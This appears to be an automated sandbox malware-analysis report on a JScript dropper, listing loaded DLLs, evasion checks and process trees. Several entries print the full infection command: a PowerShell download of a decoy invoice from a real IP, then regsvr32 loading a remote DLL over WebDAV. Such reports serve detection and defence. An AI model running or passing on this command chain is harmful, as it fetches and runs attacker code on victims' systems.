Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6990.js.csv");ITextStream.WriteLine(" entry:8380 f:bmzkep");ITextStream.WriteLine(" exec:2 f:bmzkep");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5053			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4796			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep count: 5053 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep count: 4796 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8076	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7400	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2916	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1499942393.0000021CF5748000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: svchost.exe, 00000009.00000002.2722734509.000002D92822B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000002.1500405641.0000021CF57A9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2724268615.000002D92D857000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

